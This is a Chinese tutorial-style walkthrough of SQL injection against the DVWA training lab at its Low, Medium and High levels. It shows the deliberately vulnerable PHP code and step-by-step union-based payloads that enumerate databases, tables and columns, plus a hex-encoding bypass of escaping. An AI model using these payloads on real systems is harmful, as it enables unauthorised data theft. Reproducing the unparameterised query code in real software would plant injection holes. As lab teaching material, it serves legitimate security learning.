参考链接:http://www.freebuf.com/articles/web/120747.html1
这里首先你最好懂一些mysql查询语句,便于理解
SQL Injection
SQL Injection(SQL注入)是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
SQL注入步骤
- 判断是否存在注入,注入是字符型还是数字型
- 判断SQL查询语句中的字段数
- 爆出当前数据库
- 爆出数据库中的表
- 爆出表中的字段名
- 爆出该表的字段名的内容
DVWA测试实战
LOW级别
服务端核心代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
1 | LOW级别的代码对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。(现实中攻击者是看不到后端代码的,这里放出是为了参考学习). |
这里先说明什么是字符型和数字型,百度一个详解(可能一开始不理解,做做下面题就会理解了):1
2
3数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’
搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’
判断是否存在注入,注入是字符型还是数字型
输入1,查询成功:
输出1’,发现语法报错
1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
这是因为,LOW有一行代码为:1
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';
输入’是为了闭合前面的单引号,但是后面还有一个单引号没闭合,相当于 user_id = ‘1’’
可以在后面再加一个#来注释掉后面的单引号
最后这两步说明了存在字符型注入
判断SQL查询语句中的字段数
这里有两种方法,根据具体情况而定.
- 输入: 1’ order by 2 #
- 输入: 1’ order by 3 #
说明只存在两个字段,具体解释https://blog.csdn.net/lingxyd_0/article/details/2653187
另外一种方法与上面区别是更容易分清
- 输入: 0’ union select 1,2#
- 注意,这里的union相当于数学中的并(且),即联合查询,相当于
1 | select xxx from xxx where id = '0' union select 1,2# |
这里的0是为了让前面的select语句查询不到,从而保证只查到后面的select,便于分清.
- 输入: 0’ union select 1,2,3#
也同样说明只存在两个字段
爆出当前数据库
1 | 0' union select 1,database()# |
说明当前数据库为dvwa
爆出数据库中的表
1 | 0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#) |
- group_concat() 简单来说就是把查询到的table_name都收集起来,具体解释可以百度
- information_schema.tables是mysql数据库一个特殊的东西,代表这个数据库中的所有表
- table_schema 中文翻译是表模式,相当于数据库
爆出表中的字段名
1 | 0' union select 1,group_concat(column_name) from information_schema.columns where table_name= 'users'# |
语法跟上面差不多,改了column字段
爆出该表的字段名的内容
1 | 0' union select 1,last_name from users # |
爆出字段last_name字段的内容
Medium级别
服务端核心代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
可以看到相比low多了一行代码:1
mysql_real_escape_string($id);
所以说这儿的单引号没法用了被转义了,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数
判断是否存在注入,注入是字符型还是数字型
- 抓包更改参数:
1
id=1' or 1 =1#
发现报错
1 | id=1 or 1 =1# |
正常,说明存在数字型注入
判断SQL查询语句中的字段数
1 | 0 union select 1,2# |
确定字段有两个
爆出当前数据库
1 | 0 union select 1,database()# |
爆出数据库中的表
1 | 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()# |
爆出表中的字段名(这里有个不一样)
1 | 0 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'# |
发生报错,这是因为单引号被转义成\,这里有一个绕过办法,就是十六进制绕过,将user转成十六进制即可.
1 | 0 union select 1,group_concat(column_name) from information_schema.columns where table_name = 0×7573657273 # |
成功查询
爆出该表的字段名的内容
1 | 0 union select 1,user_id from users# |
成功爆出users表下的user_id内容
High级别
服务端核心代码:
1 | <?php |
可以看到他这里增加了limit语句,limit 1表示只能查询到一条内容,具体sql limit原理:https://blog.csdn.net/sinat_36246371/article/details/54582904
不过我们仍然可以用 # 将后面的limt 1注释掉,剩下的步骤与low级别是一样的,它这个limit主要是为了防备sqlmap,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
Impossible
服务端核心代码:
1 | <?php |